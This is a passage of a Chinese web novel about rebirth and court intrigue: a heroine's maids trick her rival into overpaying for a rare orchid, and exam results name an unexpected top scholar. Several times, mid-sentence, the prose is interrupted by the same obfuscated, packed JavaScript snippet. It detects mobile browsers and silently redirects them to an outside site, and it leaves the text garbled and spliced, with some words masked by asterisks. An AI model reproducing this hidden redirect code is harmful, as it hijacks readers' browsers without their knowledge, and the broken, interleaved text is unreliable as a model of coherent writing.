RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344316|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 那名妃子眼中满是杀意,冲过来就掐着她的脖子,想至她于死地。 然而,她刚刚掐上对方的脖子,就听见一声喝斥:“住手!” 众人抬头看去,就见皇帝一行人站在不远处。 在皇帝身边,还站着兰玉的贴身宫女。 皇帝几步走过来,一把推开妃子,扶起兰玉:“玉儿,你怎么样?有没有受伤?” “我的脸好疼。皇上,我是不是毁容了,以后就不漂亮了?”兰玉松开捂着脸的手,眼泪珠珍珠般落下,看着无比的可怜。 皇帝脸色一沉,看向妃子。 妃子吓得面无血色。 身体一软,跌坐在地上:“皇……皇上,您听我解释,事情不是你看见的样子,是她说我坏话,威胁我,我怒气上头,才会做出错事……” “威胁你?她拿什么话威胁你了?” “她说我……”妃子张开口,却说不下去了。 她的那个秘密,一旦说出来,倾碧就活不成了。 她嗫嚅着嘴唇,半天说不出一个字。 “你怎么不说了?”皇帝的声音明明很平缓。 妃子却吓得浑身颤抖。 妃子慌张不已,伏倒在地,“是……是臣妾的错。是臣妾小心眼,嫉妒皇上偏宠她一个,就携私心报复她……” 皇帝冷哼一声:“既然你的嫉妒心如此之重,那就待在你自己的宫中,好好反省两个月吧。” 原本其他妃子还愤愤不平。 听见此话,顿时低眉顺眼,气都不敢喘。 兰玉依偎在皇帝怀里,嘤嘤直骂:“皇上,玉儿受了无妄之灾,玉儿委屈……” 皇帝拍着她的背安抚:“都怪朕不好,那你说,要怎样才不委屈?只要是朕能办到的,绝对满足你。” 兰玉撅着嘴巴想了想,这才提出要求:“玉儿想回家给老太君过生辰,要是皇上觉得为难,应当玉儿没说好了……” “只要你高兴,什么要求朕都答应你。不就是回去给老太君过生辰吗,尽孝是人之常情,朕答应你就是了。” 皇帝不仅让她回去半日,还答应准备厚礼,让她风风光光的回去。 第275章:香料、兰花 兰妃生辰前一日。 皇帝身边的大总管,就送来一只锦盒。 兰妃就知道,这盒子里面就是皇帝准备的‘厚礼’。 她想象中,会是价值连城珍珠玉石**。 打开之后,才发现里面只有一幅画轴。 兰玉眼中闪过失望。 但她很快又振作起来,没关系的。 名家巨擘的字画,不仅值钱,还能传世。 她打开画轴,属于皇帝的熟悉字迹出现在眼前。 她看着画布上‘松鹤延年’几个大字,她当场石化。 大总管在一旁,将她的所有表情尽收眼底。 大总管当场解释道:“娘娘,这可是皇上的真迹,一般的大臣文人,想要都得不到。” 兰玉心里失望,还不忘强挤出一抹干笑:“是……是哦!皇上真是有心了,我家老太君也一定会爱不释手的。” 爱不释手个鬼啊! 皇帝的字画珍贵是珍贵,既不能卖,又不能送人,跟个有价无市的摆设有什么区别! 偏偏她还不能挑剔,不能换货。 她只能强颜欢笑地收下东西。 还要叩谢隆恩。 大总管忍着笑,离开了兰贵妃所在的宫殿。 ** 与此同时。 在‘一点墨’的闻颜,合上黄历。 明天就是兰贵妃的生辰。 那盆‘素冠荷鼎’,也该发挥它的价值了。 闻颜叫来佩儿:“闻如月那边找花找得如何了?” 佩儿过完节就回到闻颜身边,她回道:“京城都让她翻了两遍了,我看今天要是再找不到,闻如月就能得上失心疯。” 闻颜对佩儿道:“你去把青禾和立夏叫过来,我有事吩咐她们去做。” “我这就去。”佩儿转身欲走。 “等等。”闻颜又叫住了她,“还是我亲自去一趟吧。” 闻颜戴上帷帽,就和佩儿出门了。 二人并未直接去宅子,而是绕到闻如月的人,最常出没的香料街市转了一圈。 半个时辰后。 香料街上,一对长得明艳漂亮的姐妹花,一人挎着一只篮子,一人抱着一盆花,说说笑笑地从街上路过。 那盆花外面罩着半透的薄纱罩子,让人看不真切植物模样,却能从轮廓和虚影看出,此花并非凡品。 两人出现没一会儿,就被一男一女拦住去路。 女子指着花盆道:“你卖的什么花?我能看看吗?” “这是一盆兰花,名叫‘素冠荷鼎’。”妹妹开朗地回答道。 ‘素冠荷鼎’四个字,让女子身形一震,她倏地瞪圆了眼睛看着那盆花,“你刚才说什么?这盆花叫什么名字?” “‘素冠荷鼎’啊,有什么问题吗?”妹妹奇怪地看了她一眼。 “让我看看它,若是我看上了,就把它买下来。”她伸手去抓遮花的纱罩,想一睹此花真容,是不是小姐在找的那一种。 妹妹十分机敏,下意识后撤两步,让她抓了个空。 “你这人怎么动手动脚的?”妹妹戒备地看着她,说话也极不留情面,“我这花精贵得很,若是磕着碰着一丝一毫,花就毁了,到时把你卖了都赔不起。” 女子想到,若此花真是世子夫人在找的,若是碰伤影响到品相,确实把自己卖了都赔不起。 她便不敢强求,只是道:“……没什么。这花多少钱,我要了?” 妹妹上下打量她一番:“看你衣着,并非大富大贵人家的,并非大富大贵人家的,这花你恐怕买不起。” 女子气道:“不就是一盆花吗?有什么了不起的。你开个价吧。” 她说着就伸手去夺花盆。 姐姐眼疾手快,一下挡在两人中间。 把女子和花盆隔开,大声道:“这位姑娘,我们说了,此花不卖,难不成,你是想当抢夺吗?不如你看一看我们的香包吧。” 说着,她就把手中的篮子往前递了递。 篮子里摆放着许多香包。 香包款式还算精致,绣工也不错。 女子随意挑了挑,直到她拿起一只香包闻了闻,突然眼睛一亮。 这个味道,跟世子夫人在找香熏味道极其相似。 难道,她们就是世子夫人在找的姐妹? 姐姐观察她的神情,适时推销:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344317|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢这种香型?这一款叫锡兰附香,这个是真正的锡兰香,你闻闻看。” 姐姐又递了一只香包给她。 女子接过闻了闻,随即眼前一亮,就是这个味道。 世子夫人用过一次那种香熏,因为味道太过特别,她一次就记住了。 “你们等一等。”女子强压下兴奋的心情,将同伴拉到一旁,交头接耳不知说了什么。 没一会儿,她就转回过来,就每款香包都挑了一只。 对姐姐道:“你们的香包我很喜欢,我想拿回府给主子瞧一瞧,我主子若是看上了,定会叫我多采购一些,到时候少不了你们赚钱。” 女子说完,拿着几款香包就离开了。 她的同伴留下来,邀请道:“不如我请二位去楼上喝一杯茶?” 姐妹俩并未立即答应。 反而露出害怕防务的神情。 直接拒绝了不说,甚至想要逃走。 同伴知道两人的重要性,哪肯放她走! 指天发誓地保证他不是坏人都没用,最后还是请来街上,负责公平交易的主事官,她们才肯跟他茶楼歇脚。 同伴本来订了雅间,不过姐妹二人没有安全感,死活不同意上去, 同伴才肯作罢。 随时时间推移,姐妹俩越发的心慌害怕,已经数次找借口想要离开,都被同伴劝了下来:“你们不想信我,难道还不相信主事官吗?” 姐妹二人互视一眼,这才答应再等等。 半个时辰后,一辆豪华的马车,缓缓停在茶楼门口。 方才离开的女子率先跳下马车,随后又恭敬地将一名女子扶了下来。 那女子戴着帷帽,身姿窈窕,举止优雅,一看便知她是富贵人家娇养着长大的。 闻如月在婢女的搀扶下,匆匆来到座位旁。 她左右看了看:“茶楼里没有雅间了吗?” 同伴苦着脸道:“回世……回夫人,是这两位卖花女,生怕我们会如何,只肯在大厅里。” 闻如月隔着帷帽,打量着放在桌的花盆。 透过半透薄纱,隐约可见白色的兰花花开。 好像就是这一株! 第276章:六千两 “在此如何谈事?去和老板要一个雅间。”一楼这么多人,她还如何验花? 姐妹二人却立即唱反调,不同意去雅间。 理由也很简单。 姐妹二人只是普通的平民百姓,而闻如月一看就出身权贵。 若是进了包厢,她们姐妹就会叫天天不应,叫地地不灵。 所以,他们是绝对不会去包厢的。 闻如月气结:“不去包厢,我怎么验花!” 便叫来掌柜,想将整座茶楼包下,将其余客人都赶出去。 谁知,她这一决定,再次遭到姐妹二人的反对。 “不就是验花吗?给你看就是了。”妹妹伸手去抓纱罩。 总之,或是不能在众目睽睽之下交易,他们宁愿这花不卖了。 甚至流露出,把花毁了也不卖的意思。 闻如月心尖一颤。 她可不想‘素冠荷鼎’的消息被流传出去。 即使明天就是兰贵妃的生辰,也不行! 她定要保证这株花有足够的神秘性,才不会像前世那家五品小官,弄得招摇过市。 最后,闻如月不得不在座位旁边拉起帐幔。 这才缓缓揭开了花盆上面的纱罩。 一株挺拔盛放的兰花,出现在眼前。 花叶片修长,青翠油糯。 旁边独生出一根花枝。 兰花开得正好,数只花朵素洁,仿佛小荷才露尖尖角。 花瓣亦像是用上好的羊脂白玉雕琢而成。 若是迎着光,花瓣上能看到几丝浅绿的筋络。 整株花,仿佛花中仙子,出尘迷人。 闻如月前世并未看见过真正的‘素冠荷鼎’。 前世的兰贵妃,收到花之后,就小心翼翼地亲自抱回宫中。 就缠着皇上请来最好的大庸花匠,悉心照料。 可惜,‘素冠荷鼎’十分娇弱,只开了两三次花,便枯萎了。 虽然只短短三四年寿命,但年到它开花之时,都会在京城的权贵圈子引起热议。 因为兰贵妃会以它的名义,在宫里办赏花宴。 那些千金贵女也以此赏花宴为荣。 为了一睹此花容貌,几乎是削尖了脑袋想办法,给兰贵妃送礼。 前世的闻如月,嫁给应知林那个穷小子,根本没机会入宫亲眼见一见‘素冠荷鼎’的倾世之姿。 不过,在她跟霍耀行暗渡陈仓之后,她在霍耀行的书房里,看过‘素冠荷鼎’的画像,真正如仙子下凡一般。 只是这一眼,闻如月便知道,眼前这株花,就是前世兰贵妃收到的那一株。 此时见到活物。 她才知,那些画作上的‘素冠荷鼎’,不及真品万分之一的风姿。 没想到啊! 她找了那么久,逛遍了京城所有花市,竟在此时此地遇见此花。 闻如月觉得,老天爷都在帮自己。 明天就是兰贵妃的生辰了。 不管是花还是香料,她都不抱希望了。 没想到,竟有峰回路转之时。 这不是老天帮她算什么? 闻如月激动得眼眶都红了。 不过,据说卖花的一家三口,是一对夫妻,带着一个儿子。 怎的变成两姐妹了? 不过这些并不重要。 她只在乎香料和那盆兰花。 姐妹俩害怕地抱在一起,一副随时都想逃的样子。 随后,他们便开始谈价。 闻如月直接道:“报个价吧,这花我们要了。 对了,还有锡兰香。你们手里有多少成品香料我全都要了。 还有锡兰香的香方,我也要一同买下。” 姐妹俩一副吓坏了样子:“抱歉啊,这花我们不能卖。” 闻如月瞬间变脸。 妹妹还是硬着头皮道:“不是我们为难你,实在是此花并不是我们的。 我们只是有些识养花的技术,帮人买回去而已。就连买花的钱,也是别人出的。我们不可能把花转卖给你。” 妹妹特地将‘转卖’二字咬得很重。 闻如月瞬间抓到重点。 她道:“你们这花不是还没有交到那人手中吗?这样吧,你们现在将花交给我,到时候回去就跟那位主顾说,你们去晚一步,花已经让我买走了。” “那怎么行?我们生意人最讲究诚信,我们不可以做这等违背道义之事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344318|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐妹俩死活不肯卖。 “说吧,你们买这盆花花了多少钱,我可以在原来的基础上再加五百。” “你们卖香包,一辈子都赚不到这么多钱,而你们只需要将此花转卖给我,就能下半辈子衣食无忧。你们真的要放弃这样的机会吗?” 姐妹俩似乎被她说动了。 两人交头接耳一阵,这才给出报价:“六千两。” “你说多少?!”闻如月自认涵养过人,此时也惊呼出声。 “六千两。”姐姐坦然地道。 “你们**吗?这花怎么可能要七千两。前世也……”前世也没卖出这么高的价。 那个五品小官只花了三千两,就将这盆花买了下来。 不过他们在契约上动了手脚,最后只给了花农三百两。 花匠等着卖花钱救妻子性命。 他没拿到钱,妻子很快病逝。 花匠一气之下告到京里,当时在京城闹得很大,要不是兰贵妃眼疾手快将此事按下,恐怕会牵连到她。 自此兰贵妃就渐渐疏远他们,让他升了几回官,就不再理他了。 她自不会为了区区二三千两银子,就留下一个这样大个隐患。 她早就在心里盘算好了,绝不会走五品小官的老路,顶了天三千五百两拿下此花。 毕竟若是闹出丑闻,不仅影响自己在兰贵妃心目中的形象,霍家也不会轻饶她。 区区三四千两银子,她还是拿得出的。 而这对姐妹,竟然狮子大开口,竟想翻倍卖给她。 真当她是冤大头吗! 敲诈敲到她头上来了,简直不知死活。 闻如月气得想骂人,但她努力告诫自己‘素冠荷鼎’不可有一丝瑕疵污名。 她只得生生将火气压下。 不行。 她根本压不下去! 她声色俱厉地瞪着姐妹俩:“我不可能给这么多,你们最好不要狮子大开口。” 此时。 茶楼二层的雅座之上。 闻颜和佩儿悠然地喝茶吃点心。 佩儿伸长脖子往楼下看:“那盆兰花虽然真的很漂亮,但是小姐,闻如月真的会花这么多钱买它吗?” 第277章:掏空闻如月 闻如月当然会买。 她若不买,拿什么去讨好兰贵妃。 晋阳府之行,闻如月投入大笔银子,不仅没赚到钱,还损失惨重。 ‘妙笔斋’也入不敷出。 闻如月没有新的经济来源,对兜里的银钱会看得格外重要。 而这六千两,是闻颜精心计算过的,刚刚卡在她能承受,又会心痛难当的程度上。 果然,就听楼下继续说道:“我的花就是这个价,你若是不愿,我自去找别的买主,多的是人等着买它,说不定还会把价钱往上提一提。” 姐姐说着,抱起花盆就要离开。 “你站住!”闻如月一掌拍在桌子上。 她的婢女小厮立即上前,将姐妹俩围住。 妹妹立刻护住姐姐和‘素冠荷鼎’。 “怎么?众目睽睽之下,你还想公然**吗?” “姐姐,得亏我们有先见之明,留在大厅里谈生意。 若是真的跟他们去了包厢,他们岂不是要**越货,毁尸灭迹。” 姐妹俩的话,顿时吸引了周围客人的目光。 虽然隔着一层帷幔,但被众人注视的感觉还是很强烈。 闻如月脸色一黑,眼中浮现厉色。 心思电转之间,她已改变主意:“好你个刁奴,偷了我家花圃中名贵花株,我们追到你,本想放你一马,把花株还来,我们就放你一马,没想到你竟想倒打一耙,既如此,那我只好按家法行事了!” 前世的五品小官那般被动,就是她不够心狠手辣,留下后患。 不如将姐妹俩掳回家去,夺了花,再将二人卖给北境蛮族当奴隶。 她们一辈子都不可能回到大庸。 自然就不会有后患了。 闻如月话音方落,她的随从会意,上前动手。 眼看事情朝不可控制的方向发展,主事官多次想要从中调和,都没找到机会张口。 “哟,这不是闻家大小姐吗?不对,现在应该叫你津平世子夫人才对! 怎么,堂堂世子夫人,买东西不成,就想强抢吗?” 茶楼里的客人,瞬间好奇在朝帷幔看去。 这里面坐的,竟是那位从乡下寻回的闻家大小姐。 被人点破身份,又被众人注视,闻如月顿时变得束手束脚,她的手下也不敢轻举妄动。 楼上的声音生怕不嫌事大:“‘素冠荷鼎’可是兰花之王,竟有人想用区区三千两买下? 这跟拿十两银子,买下珍宝阁有何区别? 价格谈不拢,就想强抢,这难道就是闻家的家教?这难道就是津平侯府的规矩?” 闻如月气红了眼,抬头四处张望,试图找到坏她好事之人。 “阁下藏头露尾,连真面目都不敢露,我看你跟这两个贼奴是一伙的。” “既然世子夫人说她们是逃奴,不如就拿出**契,或是将她们报官处理。”二楼的声音继续说道,“你该不会说,官府也跟她们是一伙的吧!” “二楼的姑娘说得在理。” 一楼厅堂里的客人,全都附和。 “既然世子夫人说她们两个是贼奴,不如拿着**契送去官府处理。” “世子夫人该不会是想把人强掳回去,动用私刑吧!” …… 在一声声的质疑声中, 闻如月没了退路。 姐妹二人见状,互换一个眼神,起身欲走:“这笔生意我们不做了,我们现在就走。有位官爷一直等着此花的消息,不好再耽搁了。” “六千两就六千两,这花我要了。”闻如月捏紧了拳头,从牙缝里挤出声音,“六千两,还要附上‘锡兰香’的香记方。” “锡兰香是我家祖传的香方,贵客若是想,要五百两银子,否则免谈。”姐妹俩先是硬气,一点商量的余地都没有。 闻如月从牙缝里挤出声音:“好,五百两就五百两,我买就是了。” 六千五百两! 已是她三分之二的积蓄。 不过没关系,这笔钱暂时舍出去,等离开这破茶楼,没了这些碍事的贱民,她再拿回便好! 两个弱女子,还能逃出她的掌心? 在闻如月眼中,立夏和青禾已经是个**了。 在本街主事官的见证下,买卖就此达成。 签下契书,人货两讫。 姐妹俩拿着钱,快速离开了茶楼。 闻如月使了一个眼色,手下立即跟上二人行踪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344319|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐妹俩出了茶楼之后,就察觉到身后有人跟踪。 两人对视一眼,默契地拐进一条巷子。 跟踪之人立即跟了进去。 结果迎接她的,却是当头一棒,眼冒金星地晕倒在地。 姐妹俩把人敲晕之后,并不罢休。 将此人全身上下摸了个遍,稍微值钱一点的东西全都拿走,就连外衣都扒下来了。 “让你们欺负我!”一人踢了一脚,至于那身外裳,随手送给了路边的乞丐。 待此人醒来之后,看着只剩中衣的自己,流下了委屈的泪水。 ** 在离街市不远的一条无人的巷子里。 姐妹二人上了一辆马车。 马车里,闻颜和佩儿已经等在里面。 “青禾姐姐、立夏姐姐,你们辛苦了,快喝杯茶解解渴。”佩儿笑着奉上两杯茶水。 “闻如月今天肯定恼了。 今天我们坑了她那么多银子,她不会善罢甘休。 你们留在京城太危险,先去松山村住一段时间,就当是给自己放个假。” 虽然她们用妆容做了改变容貌,骗骗闻如月还行,就怕霍耀行也掺和其中。 些人阴狠狡诈,说不定会对姐妹俩不利。 “这里面是衣服,你们卸了妆换身衣服再出发。”闻颜将一只包袱塞给他们,又一人塞了五十两银票。 姐姐将一只荷包递给闻颜:“六千五百两银子,全在里面了。” 交接完成后,闻颜和佩儿就下了马车。 看着马车缓缓驶离,闻颜才悄悄松了口气。 翌日。 便是兰家老太君的生辰。 兰家张灯结彩,喜气洋洋。 兰纮入狱,对兰家的影响很大。 今年的宾客,比起往年少了三分之一。 起码,京城中的勋贵,都只派管事送了礼物,家中主子没一个来。 避风头的意思,再明显不过。 津平侯府亦是如此安排。 闻如月早就等着这一天,岂会听从安排? 她找了个回娘家的借口,换了马车,带着‘素冠荷鼎’,和连夜赶出来的‘锡兰香’就悄悄过来了。 第279章:放榜 “锡兰香?”兰玉好奇,朝身边宫婢使了个眼色。 宫婢上前,打开盒盖。 露出里面整齐码放的香饼。 宫婢以衣袖扇风,香风扑来。 宫婢眼神一亮,回到车厢禀报。 不一会儿,宫婢重新出来。 “娘娘对这香很满意,你先退下吧。”其他宫婢接过锦盒。 她则递了一条玉镯给闻如月。 “谢娘娘赏赐。”闻如月激动地接过玉镯。 她知道,自己成功抱上兰贵妃这条大腿了。 那么,接下来…… 就该逮住那两只母耗子,让她们把吃掉的银子,全部吐出来。 当日,天黑之时。 霜姨来到‘一点墨’向闻颜回禀兰府寿宴之事。 不知她有些什么手段,竟将消息探听得分毫不差。 甚至连闻如月拜见时的谄媚,献花时的得意神情,都说得栩栩如生,仿佛亲眼所见一般。 霜姨道:“小姐,闻如月和兰贵妃算是真正绑在一条船上了。” 佩儿不解地问:“小姐,我一直很疑惑,这样岂不是让闻如月更有底气了吗?” 闻颜搓了搓手指,浅笑一声。 那也得兰家能永远屹立不倒才行啊! 否则大树一倒,攀附它的藤蔓,必受牵连。 时间过得飞快,眼看离放榜之日越来越近。 青禾和立夏回到村中,已有半月时间。 两人十分低调,住进闻颜家中,从不出门。 绣花、缝衣裳打发时间。 偶尔有人去找辰七哥办事,还是将二人的消息透露出去。 村中渐渐有了不好的议论,说二人是应知林新纳的妾室。 立夏二人低调行事,听后一笑了之。 就连村长想出面解释,也被她们制止了:“多一事不如少一事。” 万一消息传到霍家耳中,就前功尽弃。 无人解释,那消息便野火遇上了风,瞬间就蔓延开去。 很快,这消息就传到了隔壁的禄福村。 **儿洗完衣服回家,就见村里的几个长舌妇,围在她家门口。 她们平时最爱东家长西家短,无论什么事情,只要经过她们的嘴,白的都能说成黑的。 公的都能说成母的。 她们大清早登门,绝对没有好事。 不知说了什么,竟把她娘气得浑身颤抖。 她紧走几步,要去保护母亲。 就听其中一人说道:“你以前不是老说,你那个秀才外甥品性端方,不会纳妾吗? 现在一下纳了两个,你怎么解释?” “我看,人家应秀才不是不纳妾,只是看不上你家莺儿。 纳妾纳色,**儿又黑又壮,娶回家当老黄牛使唤还行,当妾的话,嘻嘻……哪个男人下得去口啊!” “滚!我家不欢迎你们,全都给我滚!”焦姨母气得脸色铁青,指着门外大喊。 谁知,她这一指,就看见了人后的**儿。 **儿脸色雪白,喃喃发问:“娘,她们说的是真的吗?表哥他真的纳妾了?” 焦姨母急道:“不是的。她们瞎说的,莺儿不要当真。” 三个长舌妇不让她糊弄过去:“我们哪有瞎说。 应知林不是仅纳妾了,还一次性纳了两个,都住进去两个月了。 听人说,那两个小妾又白又美,再看看你,黑得像炭,长得又壮……” **儿的眼泪倏地一下流出来了。 焦姨母见女儿神情越来越不对,她急得拿起扫帚就想赶人:“闭嘴,我打死你们胡说八道……” **儿看着鸡飞狗跳的四人,转身就朝松山村跑去。 她不信! 她要亲口问应知林。 自己到底哪里不好。 他宁愿要别人,也不要自己! 砰!砰!砰! 松山村,闻颜家的院门被敲得山响。 “来了来了!”有人随着一声回应,院门从里面打开。 只见一位模样普通,但身材高挑而曼妙的女子站在门内。 “你找谁?”青禾眉眼含笑,问话温柔细语,让人很有好感。 **儿直勾勾地看着立夏。 接着,院中又传来一道不耐烦的询问:“又是谁啊?!” 只见一位身材娇小,模样俏丽的女子走了过来。 立夏精致的眉眼带着怒气,手里拿着劈柴的斧头,气势汹汹地看过来。 这几日总有村民时不时来敲门,扰得她们烦不胜烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344321|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 **儿看着各有特色的两人,她的声音发颤:“你们,是我表哥的妾室?” “你在说什么鬼话?”立夏暴脾气,用斧头指着她。 她们是小姐的丫鬟,什么时候成姑爷的妾室了? 立夏的回答,听在**儿耳中,却成了默认。 她伤心欲绝。 原来,他们说的都是对的。 表哥不是不想纳妾,只是不愿娶自己而已。 自己到底哪里不好了? 竟惹得表哥如此嫌弃? **儿像是受了剜心之刑,痛得几乎无法呼吸。 “应知林,你出来,你给我说清楚!你出来啊!”**儿大叫着就要往院子里冲。 立夏的斧头往门一抵,拦住去路:“应知林不在,他还在京城等放榜消息。” “不……不可能,啊……”**儿突然身体一软,晕倒在地。 焦姨母及时赶来。 抱着晕倒的女儿哭得泣不成声。 一声声控诉当中,就想把**儿塞给应知林。 好在应族长得到消息,及时赶到,将母女二人强行送走。 焦姨母只得不甘地带着女儿离开。 此次回去后,**儿就整日躺在家中,泪流满面。 最后在某个夜晚。寻了短见。 当然,这些都是后话。 几天之后,就到了放榜日。 闻颜知道应知林考不上,不抱期望。 但她并不打击应知林的积极性。 放榜当日,早早就来到宅子,准备接上应知林兄妹三人,一起去贡院前看榜。 然而,应知林却说不去看榜。 莫非是他自知上榜无望,不敢去看? 倒是应知海和应知雪蹦着跳着要去看榜。 闻颜不想扫兴,便带着姐弟二人朝贡院而去。 闻颜觉得自己去得够早了。 没成想,他们到时,贡院门口已经人满为患。 应考的学子及其家人,也有城中爱凑热闹的百姓。 他们迫不及待地想要看看,今年的解元,会花落谁家? 又等了半个时辰,贡院大门缓缓大开。 十几名军卒,护着四名文官,将厚厚一叠名单,一一张贴出来。 第280章:解元 从末榜开始张贴。 第一张榜单贴出来后,等着看榜的人,就涌了过去。 京城四府合考,共有八百多人参考,却只有五十八个名额。 识字的**声读着榜:“第五十八名,方镜。” 人群中立即传来一声欢呼:“我!是我,我是方境……” 人群骚动。 一位看着年近不惑的男子,他穿着的学子衫,洗得发白却很干净。 他踉跄着挤到榜前,核对名字和考号之后,确定是自己中举。 “爹……娘……,媳妇,我没有辜负你们的期望,三十几年的努力,终于有了结果。 呜呜呜呜……”男子又哭又笑。 扑通一声跪倒在地,朝一个西南方向连磕三个响头。 不少围观的人,也被他的情绪所感染,跟着热泪盈眶。 心软的妇人已经开始抹眼泪。 这便是十年寒窗无人问,一举成名天下知。 科举一途,让多少家族一夜之间鱼跃龙门,改换门庭。 但同样的又有多少寒门子弟,靠举全家、乃至全族之力供养。 最终也止步于秀才,甚至是童生。 眼前这位方举人,是其中的幸运者。 “第五十七名,孔郏……” 随着张贴的榜单越来越多,闻颜听见好几个熟悉的名字,都是应知林的同窗。 梧桐书院,果然名不虚传。 直到最后只剩前十名。 前来看榜的学子们,越发的激动。 但更多的学子,觉得自己中举无望,已经黯然离场。 应知雪激动道:“哥哥能进前十,太好了!” 闻颜眉头抽了抽:“你就这么确定,你哥能中举?” 如果不出意外,按照前世的轨迹,应知林这次落榜字。 应知雪傲骄地哼了一声:“那是当然,我哥哥的学问很好的,连季山长都夸他呢。” 闻颜也不想打击她的自信心,笑笑没再说话。 最后一张榜单贴出。 念榜之**声道。 “第六名,霍耀行。” 无聊到打哈欠的闻颜一怔。 霍耀行? 第六名?! 就听念榜的**声道:“第一名,应知林。” 众人惊诧不已。 应知林? 这是什么人? 以前怎未听过此人名号? 竟能打败几个热门人选,夺得魁首。 也不知此人是何模样,他们好奇得想要一窥究竟,四处张望寻人。 闻颜瞬间瞪圆了眼睛。 她吃惊不已。 应知林,依然是本次解元。 可前世的解元,分明是应霍耀行。 应知林根本没有上榜。 这到底怎么回事? 闻颜突然想到,敬明媚说起的,闻如月的那碗汤。 霍耀行只喝了一口,就腹痛了一天一夜时间,无法安心答题。 如果闻如月前世也给应知林熬了汤,应知林也喝了下去,并且还喝得不少。 那么,他落榜也不是不可能。 是了! 只有这样才解释得通! 不过,应知林中举不奇怪。 他能直接拿下第一名,却出乎闻颜的意料。 京畿四府,无论是学风,还是求学条件,都不是他处可比。 应知林能杀穿八百多人,直取魁首,实力可见一斑。 以前,是自己小瞧他了。 想起自己曾经安慰他说,考不考得中都没关系,重在参与。 闻颜只觉得小脸通红。 应知雪挤进人群,确定榜一大哥是自己的亲哥哥,她又挤回闻颜得意,昂头看着她,得意地哼哼:“我说了,我哥哥读书很厉害的。现在惊掉下巴了吧!” 被闻颜压制几个月,今儿可算是能扬眉吐气一回了。 闻颜手动合上下巴,对应知雪竖起大拇指:“你哥真厉害。” “糟糕,忘记准备赏钱了。”闻颜突然以拳击掌,暗叫一声糟糕。 她因为前世记忆,觉得应知林不可能中举,便没有准备赏钱。 如今中了头名。 报喜的官兵上门,什么都没准备,岂不是贻笑大方。 “走走走,我们快回去准备。” 闻颜一手抓一个,就带着姐弟俩就往回走。 闻颜前脚刚刚离开贡院,后脚老应家的人就到了。 乔婆子穿着一褴褛衣衫,特意饿得面黄饥瘦。 她声音颤抖,颤颤巍巍地拉住一个人询问:“第一名叫什么名字?真……真的叫应知林吗?” 得到肯定答复之后,乔婆 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他不知感恩,我们传出时也没想送要回报,可他去丧尽天良。 他书读得好,生活也极度奢靡。 此次进京乡试,不仅抢了亲祖母的棺材本,还卖掉亲小姑,就为了奢靡享受。” 她哭得一把鼻涕一把泪,再加上她们衣衫褴褛,面庞枯瘦,很多人都对她心生怜悯。 路边二楼的房间里。 霍耀行面沉如水,冷漠地俯瞰着楼下发生的一切。 他的小厮恭敬地候在一旁,大气不出。 倒是他的幕僚,神情自若。 霍耀行脸上铁地露出一抹冷笑,对小厮道:“既然他们想**,把那个叫应知林的解元拉下马,你就下去帮他们一把。” “是,小的这就去。”小厮如蒙大赦地退了出去。 房中,只剩霍耀行和幕僚二人。 霍耀行想过,自己可能会错失解元之位,却没想到竟然是第六名。 这个名次,对别人来说可能还不错。 对霍耀行来说,却味同嚼蜡。 根本不会让皇帝注意到。 而那个应知林,又是谁? 第281章:德不配位 霍耀行从未听过他的名号,突然冒出来的一个人。 竟然得了第六名。 莫非是从外地转来的学子? 亦或是此前故意藏头露尾,想来个三元及第,名震天下? 还有那个方云舟也很奇怪,竟得了第九名。 前世,他明明只考了二十三名,今生他的名次为何会靠前这般多? 莫非,他也重生了? 他突然改变轨迹,是另有目的,还是针对自己而来? 